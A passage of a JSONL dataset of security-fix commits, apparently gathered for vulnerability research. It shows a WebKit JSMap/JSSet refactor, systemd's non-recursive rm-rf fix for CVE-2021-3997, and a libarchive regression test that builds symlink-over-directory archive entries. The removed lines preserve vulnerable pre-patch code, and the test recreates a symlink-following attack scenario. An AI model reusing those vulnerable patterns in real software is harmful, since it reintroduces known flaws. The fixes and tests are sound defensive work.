nextCapacity(m_capacity, m_keyCount + (mode == RehashMode::BeforeAddition ? 1 : 0));\n+ ASSERT(newCapacity);\n \n- if (m_capacity != oldCapacity) {\n- makeAndSetNewBuffer(globalObject, vm);\n+ if (newCapacity != oldCapacity) {\n+ makeAndSetNewBuffer(globalObject, newCapacity, vm);\n RETURN_IF_EXCEPTION(scope, void());\n } else {\n- m_buffer->reset(m_capacity);\n- assertBufferIsEmpty();\n+ ASSERT(newCapacity);\n+ ASSERT(oldCapacity);\n+ ASSERT(m_capacity == newCapacity);\n+ ASSERT(m_buffer);\n+ m_buffer->reset(newCapacity);\n+ assertBufferIsEmpty(buffer(), newCapacity);\n }\n \n HashMapBucketType* iter = m_head->next();\n", "related": false}, {"section": "@@ -466,25 +497,28 @@ ALWAYS_INLINE void HashMapImpl::checkConsistency() const\n }\n \n template \n-void HashMapImpl::makeAndSetNewBuffer(JSGlobalObject* globalObject, VM& vm)\n+void HashMapImpl::makeAndSetNewBuffer(JSGlobalObject* globalObject, uint32_t newCapacity, VM& vm)\n {\n- ASSERT(!(m_capacity & (m_capacity - 1)));\n+ ASSERT(!(newCapacity & (newCapacity - 1)));\n \n- HashMapBufferType* buffer = HashMapBufferType::create(globalObject, vm, this, m_capacity);\n+ HashMapBufferType* buffer = HashMapBufferType::tryCreate(globalObject, vm, newCapacity);\n if (UNLIKELY(!buffer))\n return;\n \n m_buffer.set(vm, this, buffer);\n- assertBufferIsEmpty();\n+ m_capacity = newCapacity;\n+ assertBufferIsEmpty(this->buffer(), newCapacity);\n }\n \n template \n-ALWAYS_INLINE void HashMapImpl::assertBufferIsEmpty() const\n+ALWAYS_INLINE void HashMapImpl::assertBufferIsEmpty(HashMapBucketType** buffer, uint32_t capacity)\n {\n- if (ASSERT_ENABLED) {\n- for (unsigned i = 0; i < m_capacity; i++)\n- ASSERT(isEmpty(buffer()[i]));\n- }\n+ UNUSED_PARAM(buffer);\n+ UNUSED_PARAM(capacity);\n+#if ASSERT_ENABLED\n+ for (unsigned i = 0; i < capacity; i++)\n+ ASSERT(isEmpty(buffer[i]));\n+#endif\n }\n \n } // namespace JSC", "related": false}]} +{"owner": "webkit", "repo": "webkit", "language": "C++", "file_name": "Source/WebCore/bindings/js/JSDOMSetLike.cpp", "commit_id": "1ed1e4a336e15a59b94a21b0300658e2f7dc9fef", "commit_message": "[JSC] Make JSMap and JSSet construction more simple and efficient\nhttps://bugs.webkit.org/show_bug.cgi?id=243557\nrdar://98068082\n\nReviewed by Mark Lam and Saam Barati.\n\nThis patch makes the initial buffer of JSMap / JSSet nullptr so that we can make allocation of them\nsimpler and efficient for non-using case. It cleans up many code in module loader etc. And it paves\nthe way to allocating them from DFG and FTL efficiently. It also cleans up SerializedScriptValue\nimplementation.\n\n* JSTests/stress/map-clear-get.js: Added.\n(shouldBe):\n(test):\n* JSTests/stress/set-clear-has.js: Added.\n(shouldBe):\n(set clear):\n(set shouldBe):\n(set new):\n* Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp:\n(JSC::DFG::SpeculativeJIT::compile):\n* Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp:\n(JSC::FTL::DFG::LowerDFGToB3::compileCompareStrictEq):\n* Source/JavaScriptCore/runtime/AbstractModuleRecord.cpp:\n(JSC::AbstractModuleRecord::finishCreation):\n* Source/JavaScriptCore/runtime/HashMapImpl.h:\n(JSC::HashMapBuffer::tryCreate):\n(JSC::HashMapImpl::HashMapImpl):\n(JSC::HashMapBuffer::create): Deleted.\n(JSC::HashMapImpl::shouldRehashAfterAdd const): Deleted.\n* Source/JavaScriptCore/runtime/HashMapImplInlines.h:\n(JSC::shouldShrink):\n(JSC::shouldRehash):\n(JSC::nextCapacity):\n(JSC::HashMapImpl::finishCreation):\n(JSC::HashMapImpl::add):\n(JSC::HashMapImpl::addNormalized):\n(JSC::HashMapImpl::remove):\n(JSC::HashMapImpl::clear):\n(JSC::HashMapImpl::setUpHeadAndTail):\n(JSC::HashMapImpl::addNormalizedNonExistingForCloning):\n(JSC::HashMapImpl::addNormalizedNonExistingForCloningInternal):\n(JSC::HashMapImpl::addNormalizedInternal):\n(JSC::HashMapImpl::findBucketAlreadyHashedAndNormalized):\n(JSC::HashMapImpl::rehash):\n(JSC::HashMapImpl::makeAndSetNewBuffer):\n(JSC::HashMapImpl::assertBufferIsEmpty):\n(JSC::shouldRehashAfterAdd): Deleted.\n(JSC::HashMapImpl::assertBufferIsEmpty const): Deleted.\n* Source/JavaScriptCore/runtime/JSMap.h:\n* Source/JavaScriptCore/runtime/JSModuleLoader.cpp:\n(JSC::JSModuleLoader::finishCreation):\n* Source/JavaScriptCore/runtime/JSSet.h:\n* Source/JavaScriptCore/runtime/MapConstructor.cpp:\n(JSC::JSC_DEFINE_HOST_FUNCTION):\n* Source/JavaScriptCore/runtime/MapPrototype.cpp:\n(JSC::JSC_DEFINE_HOST_FUNCTION):\n* Source/JavaScriptCore/runtime/SetConstructor.cpp:\n(JSC::JSC_DEFINE_HOST_FUNCTION):\n* Source/JavaScriptCore/runtime/SetPrototype.cpp:\n(JSC::JSC_DEFINE_HOST_FUNCTION):\n* Source/JavaScriptCore/runtime/WeakMapImplInlines.h:\n(JSC::WeakMapImpl::shouldRehashAfterAdd const):\n* Source/WebCore/bindings/js/JSDOMMapLike.cpp:\n(WebCore::getBackingMap):\n* Source/WebCore/bindings/js/JSDOMSetLike.cpp:\n(WebCore::getBackingSet):\n* Source/WebCore/bindings/js/SerializedScriptValue.cpp:\n(WebCore::CloneDeserializer::deserialize):\n\nCanonical link: https://commits.webkit.org/253133@main", "patch": "@@ -45,12 +45,7 @@ std::pair> getBackingSet(JSC::JSGlob\n auto backingSet = setLike.getDirect(vm, builtinNames(vm).backingSetPrivateName());\n if (!backingSet) {\n auto& vm = lexicalGlobalObject.vm();\n- JSC::DeferTermination deferScope(vm);\n- auto scope = DECLARE_CATCH_SCOPE(vm);\n-\n- backingSet = JSC::JSSet::create(&lexicalGlobalObject, vm, lexicalGlobalObject.setStructure());\n- scope.releaseAssertNoException();\n-\n+ backingSet = JSC::JSSet::create(vm, lexicalGlobalObject.setStructure());\n setLike.putDirect(vm, builtinNames(vm).backingSetPrivateName(), backingSet, static_cast(JSC::PropertyAttribute::DontEnum));\n return { true, *JSC::asObject(backingSet) };\n }", "sections": [{"section": "@@ -45,12 +45,7 @@ std::pair> getBackingSet(JSC::JSGlob\n auto backingSet = setLike.getDirect(vm, builtinNames(vm).backingSetPrivateName());\n if (!backingSet) {\n auto& vm = lexicalGlobalObject.vm();\n- JSC::DeferTermination deferScope(vm);\n- auto scope = DECLARE_CATCH_SCOPE(vm);\n-\n- backingSet = JSC::JSSet::create(&lexicalGlobalObject, vm, lexicalGlobalObject.setStructure());\n- scope.releaseAssertNoException();\n-\n+ backingSet = JSC::JSSet::create(vm, lexicalGlobalObject.setStructure());\n setLike.putDirect(vm, builtinNames(vm).backingSetPrivateName(), backingSet, static_cast(JSC::PropertyAttribute::DontEnum));\n return { true, *JSC::asObject(backingSet) };\n }", "related": false}]} +{"owner": "systemd", "repo": "systemd", "language": "C", "file_name": "src/shared/rm-rf.c", "commit_id": "5b1cf7a9be37e20133c0208005274ce4a5b5c6a1", "commit_message": "shared/rm-rf: loop over nested directories instead of instead of recursing\n\nTo remove directory structures, we need to remove the innermost items first,\nand then recursively remove higher-level directories. We would recursively\ndescend into directories and invoke rm_rf_children and rm_rm_children_inner.\nThis is problematic when too many directories are nested.\n\nInstead, let's create a \"TODO\" queue. In the the queue, for each level we\nhold the DIR* object we were working on, and the name of the directory. This\nallows us to leave a partially-processed directory, and restart the removal\nloop one level down. When done with the inner directory, we use the name to\nunlinkat() it from the parent, and proceed with the removal of other items.\n\nBecause the nesting is increased by one level, it is best to view this patch\nwith -b/--ignore-space-change.\n\nThis fixes CVE-2021-3997, https://bugzilla.redhat.com/show_bug.cgi?id=2024639.\nThe issue was reported and patches reviewed by Qualys Team.\nMauro Matteo Cascella and Riccardo Schirone from Red Hat handled the disclosure.", "patch": "@@ -52,7 +52,6 @@ static int patch_dirfd_mode(\n }\n \n int unlinkat_harder(int dfd, const char *filename, int unlink_flags, RemoveFlags remove_flags) {\n-\n mode_t old_mode;\n int r;\n \n@@ -116,12 +115,13 @@ int fstatat_harder(int dfd,\n return 0;\n }\n \n-static int rm_rf_children_inner(\n+static int rm_rf_inner_child(\n int fd,\n const char *fname,\n int is_dir,\n RemoveFlags flags,\n- const struct stat *root_dev) {\n+ const struct stat *root_dev,\n+ bool allow_recursion) {\n \n struct stat st;\n int r, q = 0;\n@@ -141,9 +141,7 @@ static int rm_rf_children_inner(\n }\n \n if (is_dir) {\n- _cleanup_close_ int subdir_fd = -1;\n-\n- /* if root_dev is set, remove subdirectories only if device is same */\n+ /* If root_dev is set, remove subdirectories only if device is same */\n if (root_dev && st.st_dev != root_dev->st_dev)\n return 0;\n \n@@ -155,7 +153,6 @@ static int rm_rf_children_inner(\n return 0;\n \n if ((flags & REMOVE_SUBVOLUME) && btrfs_might_be_subvol(&st)) {\n-\n /* This could be a subvolume, try to remove it */\n \n r = btrfs_subvol_remove_fd(fd, fname, BTRFS_REMOVE_RECURSIVE|BTRFS_REMOVE_QUOTA);\n@@ -169,13 +166,16 @@ static int rm_rf_children_inner(\n return 1;\n }\n \n- subdir_fd = openat(fd, fname, O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC|O_NOFOLLOW|O_NOATIME);\n+ if (!allow_recursion)\n+ return -EISDIR;\n+\n+ int subdir_fd = openat(fd, fname, O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC|O_NOFOLLOW|O_NOATIME);\n if (subdir_fd < 0)\n return -errno;\n \n /* We pass REMOVE_PHYSICAL here, to avoid doing the fstatfs() to check the file system type\n * again for each directory */\n- q = rm_rf_children(TAKE_FD(subdir_fd), flags | REMOVE_PHYSICAL, root_dev);\n+ q = rm_rf_children(subdir_fd, flags | REMOVE_PHYSICAL, root_dev);\n \n } else if (flags & REMOVE_ONLY_DIRECTORIES)\n return 0;\n@@ -188,62 +188,127 @@ static int rm_rf_children_inner(\n return 1;\n }\n \n+typedef struct TodoEntry {\n+ DIR *dir; /* A directory that we were operating on. */\n+ char *dirname; /* The filename of that directory itself. */\n+} TodoEntry;\n+\n+static void free_todo_entries(TodoEntry **todos) {\n+ for (TodoEntry *x = *todos; x && x->dir; x++) {\n+ closedir(x->dir);\n+ free(x->dirname);\n+ }\n+\n+ freep(todos);\n+}\n+\n int rm_rf_children(\n int fd,\n RemoveFlags flags,\n const struct stat *root_dev) {\n \n- _cleanup_closedir_ DIR *d = NULL;\n+ _cleanup_(free_todo_entries) TodoEntry *todos = NULL;\n+ size_t n_todo = 0;\n+ _cleanup_free_ char *dirname = NULL; /* Set when we are recursing and want to delete ourselves */\n int ret = 0, r;\n \n- assert(fd >= 0);\n+ /* Return the first error we run into, but nevertheless try to go on.\n+ * The passed fd is closed in all cases, including on failure. */\n+\n+ for (;;) { /* This loop corresponds to the directory nesting level. */\n+ _cleanup_closedir_ DIR *d = NULL;\n+\n+ if (n_todo > 0) {\n+ /* We know that we are in recursion here, because n_todo is set.\n+ * We need to remove the inner directory we were operating on. */\n+ assert(dirname);\n+ r = unlinkat_harder(dirfd(todos[n_todo-1].dir), dirname, AT_REMOVEDIR, flags);\n+ if (r < 0 && r != -ENOENT && ret == 0)\n+ ret = r;\n+ dirname = mfree(dirname);\n+\n+ /* And now let's back out one level up */\n+ n_todo --;\n+ d = TAKE_PTR(todos[n_todo].dir);\n+ dirname = TAKE_PTR(todos[n_todo].dirname);\n+\n+ assert(d);\n+ fd = dirfd(d); /* Retrieve the file descriptor from the DIR object */\n+ assert(fd >= 0);\n+ } else {\n+ next_fd:\n+ assert(fd >= 0);\n+ d = fdopendir(fd);\n+ if (!d) {\n+ safe_close(fd);\n+ return -errno;\n+ }\n+ fd = dirfd(d); /* We donated the fd to fdopendir(). Let's make sure we sure we have\n+ * the right descriptor even if it were to internally invalidate the\n+ * one we passed. */\n+\n+ if (!(flags & REMOVE_PHYSICAL)) {\n+ struct statfs sfs;\n+\n+ if (fstatfs(fd, &sfs) < 0)\n+ return -errno;\n+\n+ if (is_physical_fs(&sfs)) {\n+ /* We refuse to clean physical file systems with this call, unless\n+ * explicitly requested. This is extra paranoia just to be sure we\n+ * never ever remove non-state data. */\n+\n+ _cleanup_free_ char *path = NULL;\n+\n+ (void) fd_get_path(fd, &path);\n+ return log_error_errno(SYNTHETIC_ERRNO(EPERM),\n+ \"Attempted to remove disk file system under \\\"%s\\\", and we can't allow that.\",\n+ strna(path));\n+ }\n+ }\n+ }\n \n- /* This returns the first error we run into, but nevertheless tries to go on. This closes the passed\n- * fd, in all cases, including on failure. */\n+ FOREACH_DIRENT_ALL(de, d, return -errno) {\n+ int is_dir;\n \n- d = fdopendir(fd);\n- if (!d) {\n- safe_close(fd);\n- return -errno;\n- }\n+ if (dot_or_dot_dot(de->d_name))\n+ continue;\n \n- if (!(flags & REMOVE_PHYSICAL)) {\n- struct statfs sfs;\n+ is_dir = de->d_type == DT_UNKNOWN ? -1 : de->d_type == DT_DIR;\n \n- if (fstatfs(dirfd(d), &sfs) < 0)\n- return -errno;\n+ r = rm_rf_inner_child(fd, de->d_name, is_dir, flags, root_dev, false);\n+ if (r == -EISDIR) {\n+ /* Push the current working state onto the todo list */\n \n- if (is_physical_fs(&sfs)) {\n- /* We refuse to clean physical file systems with this call, unless explicitly\n- * requested. This is extra paranoia just to be sure we never ever remove non-state\n- * data. */\n+ if (!GREEDY_REALLOC0(todos, n_todo + 2))\n+ return log_oom();\n \n- _cleanup_free_ char *path = NULL;\n+ _cleanup_free_ char *newdirname = strdup(de->d_name);\n+ if (!newdirname)\n+ return log_oom();\n \n- (void) fd_get_path(fd, &path);\n- return log_error_errno(SYNTHETIC_ERRNO(EPERM),\n- \"Attempted to remove disk file system under \\\"%s\\\", and we can't allow that.\",\n- strna(path));\n- }\n- }\n+ int newfd = openat(fd, de->d_name,\n+ O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC|O_NOFOLLOW|O_NOATIME);\n+ if (newfd >= 0) {\n+ todos[n_todo++] = (TodoEntry) { TAKE_PTR(d), TAKE_PTR(dirname) };\n+ fd = newfd;\n+ dirname = TAKE_PTR(newdirname);\n \n- FOREACH_DIRENT_ALL(de, d, return -errno) {\n- int is_dir;\n+ goto next_fd;\n \n- if (dot_or_dot_dot(de->d_name))\n- continue;\n+ } else if (errno != -ENOENT && ret == 0)\n+ ret = -errno;\n \n- is_dir =\n- de->d_type == DT_UNKNOWN ? -1 :\n- de->d_type == DT_DIR;\n+ } else if (r < 0 && r != -ENOENT && ret == 0)\n+ ret = r;\n+ }\n \n- r = rm_rf_children_inner(dirfd(d), de->d_name, is_dir, flags, root_dev);\n- if (r < 0 && r != -ENOENT && ret == 0)\n- ret = r;\n- }\n+ if (FLAGS_SET(flags, REMOVE_SYNCFS) && syncfs(fd) < 0 && ret >= 0)\n+ ret = -errno;\n \n- if (FLAGS_SET(flags, REMOVE_SYNCFS) && syncfs(dirfd(d)) < 0 && ret >= 0)\n- ret = -errno;\n+ if (n_todo == 0)\n+ break;\n+ }\n \n return ret;\n }\n@@ -335,5 +400,5 @@ int rm_rf_child(int fd, const char *name, RemoveFlags flags) {\n if (FLAGS_SET(flags, REMOVE_ONLY_DIRECTORIES|REMOVE_SUBVOLUME))\n return -EINVAL;\n \n- return rm_rf_children_inner(fd, name, -1, flags, NULL);\n+ return rm_rf_inner_child(fd, name, -1, flags, NULL, true);\n }", "sections": [{"section": "@@ -52,7 +52,6 @@ static int patch_dirfd_mode(\n }\n \n int unlinkat_harder(int dfd, const char *filename, int unlink_flags, RemoveFlags remove_flags) {\n-\n mode_t old_mode;\n int r;\n \n", "related": false}, {"section": "@@ -116,12 +115,13 @@ int fstatat_harder(int dfd,\n return 0;\n }\n \n-static int rm_rf_children_inner(\n+static int rm_rf_inner_child(\n int fd,\n const char *fname,\n int is_dir,\n RemoveFlags flags,\n- const struct stat *root_dev) {\n+ const struct stat *root_dev,\n+ bool allow_recursion) {\n \n struct stat st;\n int r, q = 0;\n", "related": false}, {"section": "@@ -141,9 +141,7 @@ static int rm_rf_children_inner(\n }\n \n if (is_dir) {\n- _cleanup_close_ int subdir_fd = -1;\n-\n- /* if root_dev is set, remove subdirectories only if device is same */\n+ /* If root_dev is set, remove subdirectories only if device is same */\n if (root_dev && st.st_dev != root_dev->st_dev)\n return 0;\n \n", "related": false}, {"section": "@@ -155,7 +153,6 @@ static int rm_rf_children_inner(\n return 0;\n \n if ((flags & REMOVE_SUBVOLUME) && btrfs_might_be_subvol(&st)) {\n-\n /* This could be a subvolume, try to remove it */\n \n r = btrfs_subvol_remove_fd(fd, fname, BTRFS_REMOVE_RECURSIVE|BTRFS_REMOVE_QUOTA);\n", "related": false}, {"section": "@@ -169,13 +166,16 @@ static int rm_rf_children_inner(\n return 1;\n }\n \n- subdir_fd = openat(fd, fname, O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC|O_NOFOLLOW|O_NOATIME);\n+ if (!allow_recursion)\n+ return -EISDIR;\n+\n+ int subdir_fd = openat(fd, fname, O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC|O_NOFOLLOW|O_NOATIME);\n if (subdir_fd < 0)\n return -errno;\n \n /* We pass REMOVE_PHYSICAL here, to avoid doing the fstatfs() to check the file system type\n * again for each directory */\n- q = rm_rf_children(TAKE_FD(subdir_fd), flags | REMOVE_PHYSICAL, root_dev);\n+ q = rm_rf_children(subdir_fd, flags | REMOVE_PHYSICAL, root_dev);\n \n } else if (flags & REMOVE_ONLY_DIRECTORIES)\n return 0;\n", "related": false}, {"section": "@@ -188,62 +188,127 @@ static int rm_rf_children_inner(\n return 1;\n }\n \n+typedef struct TodoEntry {\n+ DIR *dir; /* A directory that we were operating on. */\n+ char *dirname; /* The filename of that directory itself. */\n+} TodoEntry;\n+\n+static void free_todo_entries(TodoEntry **todos) {\n+ for (TodoEntry *x = *todos; x && x->dir; x++) {\n+ closedir(x->dir);\n+ free(x->dirname);\n+ }\n+\n+ freep(todos);\n+}\n+\n int rm_rf_children(\n int fd,\n RemoveFlags flags,\n const struct stat *root_dev) {\n \n- _cleanup_closedir_ DIR *d = NULL;\n+ _cleanup_(free_todo_entries) TodoEntry *todos = NULL;\n+ size_t n_todo = 0;\n+ _cleanup_free_ char *dirname = NULL; /* Set when we are recursing and want to delete ourselves */\n int ret = 0, r;\n \n- assert(fd >= 0);\n+ /* Return the first error we run into, but nevertheless try to go on.\n+ * The passed fd is closed in all cases, including on failure. */\n+\n+ for (;;) { /* This loop corresponds to the directory nesting level. */\n+ _cleanup_closedir_ DIR *d = NULL;\n+\n+ if (n_todo > 0) {\n+ /* We know that we are in recursion here, because n_todo is set.\n+ * We need to remove the inner directory we were operating on. */\n+ assert(dirname);\n+ r = unlinkat_harder(dirfd(todos[n_todo-1].dir), dirname, AT_REMOVEDIR, flags);\n+ if (r < 0 && r != -ENOENT && ret == 0)\n+ ret = r;\n+ dirname = mfree(dirname);\n+\n+ /* And now let's back out one level up */\n+ n_todo --;\n+ d = TAKE_PTR(todos[n_todo].dir);\n+ dirname = TAKE_PTR(todos[n_todo].dirname);\n+\n+ assert(d);\n+ fd = dirfd(d); /* Retrieve the file descriptor from the DIR object */\n+ assert(fd >= 0);\n+ } else {\n+ next_fd:\n+ assert(fd >= 0);\n+ d = fdopendir(fd);\n+ if (!d) {\n+ safe_close(fd);\n+ return -errno;\n+ }\n+ fd = dirfd(d); /* We donated the fd to fdopendir(). Let's make sure we sure we have\n+ * the right descriptor even if it were to internally invalidate the\n+ * one we passed. */\n+\n+ if (!(flags & REMOVE_PHYSICAL)) {\n+ struct statfs sfs;\n+\n+ if (fstatfs(fd, &sfs) < 0)\n+ return -errno;\n+\n+ if (is_physical_fs(&sfs)) {\n+ /* We refuse to clean physical file systems with this call, unless\n+ * explicitly requested. This is extra paranoia just to be sure we\n+ * never ever remove non-state data. */\n+\n+ _cleanup_free_ char *path = NULL;\n+\n+ (void) fd_get_path(fd, &path);\n+ return log_error_errno(SYNTHETIC_ERRNO(EPERM),\n+ \"Attempted to remove disk file system under \\\"%s\\\", and we can't allow that.\",\n+ strna(path));\n+ }\n+ }\n+ }\n \n- /* This returns the first error we run into, but nevertheless tries to go on. This closes the passed\n- * fd, in all cases, including on failure. */\n+ FOREACH_DIRENT_ALL(de, d, return -errno) {\n+ int is_dir;\n \n- d = fdopendir(fd);\n- if (!d) {\n- safe_close(fd);\n- return -errno;\n- }\n+ if (dot_or_dot_dot(de->d_name))\n+ continue;\n \n- if (!(flags & REMOVE_PHYSICAL)) {\n- struct statfs sfs;\n+ is_dir = de->d_type == DT_UNKNOWN ? -1 : de->d_type == DT_DIR;\n \n- if (fstatfs(dirfd(d), &sfs) < 0)\n- return -errno;\n+ r = rm_rf_inner_child(fd, de->d_name, is_dir, flags, root_dev, false);\n+ if (r == -EISDIR) {\n+ /* Push the current working state onto the todo list */\n \n- if (is_physical_fs(&sfs)) {\n- /* We refuse to clean physical file systems with this call, unless explicitly\n- * requested. This is extra paranoia just to be sure we never ever remove non-state\n- * data. */\n+ if (!GREEDY_REALLOC0(todos, n_todo + 2))\n+ return log_oom();\n \n- _cleanup_free_ char *path = NULL;\n+ _cleanup_free_ char *newdirname = strdup(de->d_name);\n+ if (!newdirname)\n+ return log_oom();\n \n- (void) fd_get_path(fd, &path);\n- return log_error_errno(SYNTHETIC_ERRNO(EPERM),\n- \"Attempted to remove disk file system under \\\"%s\\\", and we can't allow that.\",\n- strna(path));\n- }\n- }\n+ int newfd = openat(fd, de->d_name,\n+ O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC|O_NOFOLLOW|O_NOATIME);\n+ if (newfd >= 0) {\n+ todos[n_todo++] = (TodoEntry) { TAKE_PTR(d), TAKE_PTR(dirname) };\n+ fd = newfd;\n+ dirname = TAKE_PTR(newdirname);\n \n- FOREACH_DIRENT_ALL(de, d, return -errno) {\n- int is_dir;\n+ goto next_fd;\n \n- if (dot_or_dot_dot(de->d_name))\n- continue;\n+ } else if (errno != -ENOENT && ret == 0)\n+ ret = -errno;\n \n- is_dir =\n- de->d_type == DT_UNKNOWN ? -1 :\n- de->d_type == DT_DIR;\n+ } else if (r < 0 && r != -ENOENT && ret == 0)\n+ ret = r;\n+ }\n \n- r = rm_rf_children_inner(dirfd(d), de->d_name, is_dir, flags, root_dev);\n- if (r < 0 && r != -ENOENT && ret == 0)\n- ret = r;\n- }\n+ if (FLAGS_SET(flags, REMOVE_SYNCFS) && syncfs(fd) < 0 && ret >= 0)\n+ ret = -errno;\n \n- if (FLAGS_SET(flags, REMOVE_SYNCFS) && syncfs(dirfd(d)) < 0 && ret >= 0)\n- ret = -errno;\n+ if (n_todo == 0)\n+ break;\n+ }\n \n return ret;\n }\n", "related": false}, {"section": "@@ -335,5 +400,5 @@ int rm_rf_child(int fd, const char *name, RemoveFlags flags) {\n if (FLAGS_SET(flags, REMOVE_ONLY_DIRECTORIES|REMOVE_SUBVOLUME))\n return -EINVAL;\n \n- return rm_rf_children_inner(fd, name, -1, flags, NULL);\n+ return rm_rf_inner_child(fd, name, -1, flags, NULL, true);\n }", "related": false}]} +{"owner": "libarchive", "repo": "libarchive", "language": "C", "file_name": "libarchive/test/test_write_disk_fixup.c", "commit_id": "8a1bd5c18e896f0411a991240ce0d772bb02c840", "commit_message": "Fix following symlinks when processing the fixup list\n\nThe previous fix in b41daecb5 was incomplete. Fixup entries are\ngiven the original path without calling cleanup_pathname().\nTo make sure we don't follow a symlink, we must strip trailing\nslashes from the path.\n\nThe fixup entries are always directories. Make sure we try to modify\nonly directories by providing O_DIRECTORY to open() (if supported)\nand if it fails to check directory via lstat().\n\nFixes #1566", "patch": "@@ -47,26 +47,50 @@ DEFINE_TEST(test_write_disk_fixup)\n \t/*\n \t * Create a file\n \t */\n-\tassertMakeFile(\"victim\", 0600, \"a\");\n+\tassertMakeFile(\"file\", 0600, \"a\");\n+\n+\t/*\n+\t * Create a directory\n+\t */\n+\tassertMakeDir(\"dir\", 0700);\n \n \t/*\n \t * Create a directory and a symlink with the same name\n \t */\n \n-\t/* Directory: dir */\n+\t/* Directory: dir1 */\n+ assert((ae = archive_entry_new()) != NULL);\n+ archive_entry_copy_pathname(ae, \"dir1/\");\n+ archive_entry_set_mode(ae, AE_IFDIR | 0555);\n+\tassertEqualIntA(ad, 0, archive_write_header(ad, ae));\n+\tassertEqualIntA(ad, 0, archive_write_finish_entry(ad));\n+ archive_entry_free(ae);\n+\n+\t/* Directory: dir2 */\n assert((ae = archive_entry_new()) != NULL);\n- archive_entry_copy_pathname(ae, \"dir\");\n- archive_entry_set_mode(ae, AE_IFDIR | 0606);\n+ archive_entry_copy_pathname(ae, \"dir2/\");\n+ archive_entry_set_mode(ae, AE_IFDIR | 0555);\n \tassertEqualIntA(ad, 0, archive_write_header(ad, ae));\n \tassertEqualIntA(ad, 0, archive_write_finish_entry(ad));\n archive_entry_free(ae);\n \n-\t/* Symbolic Link: dir -> foo */\n+\t/* Symbolic Link: dir1 -> dir */\n+\tassert((ae = archive_entry_new()) != NULL);\n+\tarchive_entry_copy_pathname(ae, \"dir1\");\n+\tarchive_entry_set_mode(ae, AE_IFLNK | 0777);\n+\tarchive_entry_set_size(ae, 0);\n+\tarchive_entry_copy_symlink(ae, \"dir\");\n+\tassertEqualIntA(ad, 0, r = archive_write_header(ad, ae));\n+\tif (r >= ARCHIVE_WARN)\n+\t\tassertEqualIntA(ad, 0, archive_write_finish_entry(ad));\n+\tarchive_entry_free(ae);\n+\n+\t/* Symbolic Link: dir2 -> file */\n \tassert((ae = archive_entry_new()) != NULL);\n-\tarchive_entry_copy_pathname(ae, \"dir\");\n+\tarchive_entry_copy_pathname(ae, \"dir2\");\n \tarchive_entry_set_mode(ae, AE_IFLNK | 0777);\n \tarchive_entry_set_size(ae, 0);\n-\tarchive_entry_copy_symlink(ae, \"victim\");\n+\tarchive_entry_copy_symlink(ae, \"file\");\n \tassertEqualIntA(ad, 0, r = archive_write_header(ad, ae));\n \tif (r >= ARCHIVE_WARN)\n \t\tassertEqualIntA(ad, 0, archive_write_finish_entry(ad));\n@@ -75,7 +99,9 @@ DEFINE_TEST(test_write_disk_fixup)\n \tassertEqualInt(ARCHIVE_OK, archive_write_free(ad));\n \n \t/* Test the entries on disk. */\n-\tassertIsSymlink(\"dir\", \"victim\", 0);\n-\tassertFileMode(\"victim\", 0600);\n+\tassertIsSymlink(\"dir1\", \"dir\", 0);\n+\tassertIsSymlink(\"dir2\", \"file\", 0);\n+\tassertFileMode(\"dir\", 0700);\n+\tassertFileMode(\"file\", 0600);\n #endif\n }", "sections": [{"section": "@@ -47,26 +47,50 @@ DEFINE_TEST(test_write_disk_fixup)\n \t/*\n \t * Create a file\n \t */\n-\tassertMakeFile(\"victim\", 0600, \"a\");\n+\tassertMakeFile(\"file\", 0600, \"a\");\n+\n+\t/*\n+\t * Create a directory\n+\t */\n+\tassertMakeDir(\"dir\", 0700);\n \n \t/*\n \t * Create a directory and a symlink with the same name\n \t */\n \n-\t/* Directory: dir */\n+\t/* Directory: dir1 */\n+ assert((ae = archive_entry_new()) != NULL);\n+ archive_entry_copy_pathname(ae, \"dir1/\");\n+ archive_entry_set_mode(ae, AE_IFDIR | 0555);\n+\tassertEqualIntA(ad, 0, archive_write_header(ad, ae));\n+\tassertEqualIntA(ad, 0, archive_write_finish_entry(ad));\n+ archive_entry_free(ae);\n+\n+\t/* Directory: dir2 */\n assert((ae = archive_entry_new()) != NULL);\n- archive_entry_copy_pathname(ae, \"dir\");\n- archive_entry_set_mode(ae, AE_IFDIR | 0606);\n+ archive_entry_copy_pathname(ae, \"dir2/\");\n+ archive_entry_set_mode(ae, AE_IFDIR | 0555);\n \tassertEqualIntA(ad, 0, archive_write_header(ad, ae));\n \tassertEqualIntA(ad, 0, archive_write_finish_entry(ad));\n archive_entry_free(ae);\n \n-\t/* Symbolic Link: dir -> foo */\n+\t/* Symbolic Link: dir1 -> dir */\n+\tassert((ae = archive_entry_new()) != NULL);\n+\tarchive_entry_copy_pathname(ae, \"dir1\");\n+\tarchive_entry_set_mode(ae, AE_IFLNK | 0777);\n+\tarchive_entry_set_size(ae, 0);\n+\tarchive_entry_copy_symlink(ae, \"dir\");\n+\tassertEqualIntA(ad, 0, r = archive_write_header(ad, ae));\n+\tif (r >= ARCHIVE_WARN)\n+\t\tassertEqualIntA(ad, 0, archive_write_finish_entry(ad));\n+\tarchive_entry_free(ae);\n+\n+\t/* Symbolic Link: dir2 -> file */\n \tassert((ae = archive_entry_new()) != NULL);\n-\tarchive_entry_copy_pathname(ae, \"dir\");\n+\tarchive_entry_copy_pathname(ae, \"dir2\");\n \tarchive_entry_set_mode(ae, AE_IFLNK | 0777);\n \tarchive_entry_set_size(ae, 0);\n-\tarchive_entry_copy_symlink(ae, \"victim\");\n+\tarchive_entry_copy_symlink(ae, \"file\");\n \tassertEqualIntA(ad, 0, r = archive_write_header(ad, ae));\n \tif (r >= ARCHIVE_WARN)\n \t\tassertEqualIntA(ad, 0, archive_write_finish_entry(ad));\n", "related": false}, {"section": "@@ -75,7 +99,9 @@ DEFINE_TEST(test_write_disk_fixup)\n \tassertEqualInt(ARCHIVE_OK, archive_write_free(ad));\n \n \t/* Test the entries on disk. */\n-\tassertIsSymlink(\"dir\", \"victim\", 0);\n-\tassertFileMode(\"victim\", 0600);\n+\tassertIsSymlink(\"dir1\", \"dir\", 0);\n+\tassertIsSymlink(\"dir2\", \"file\", 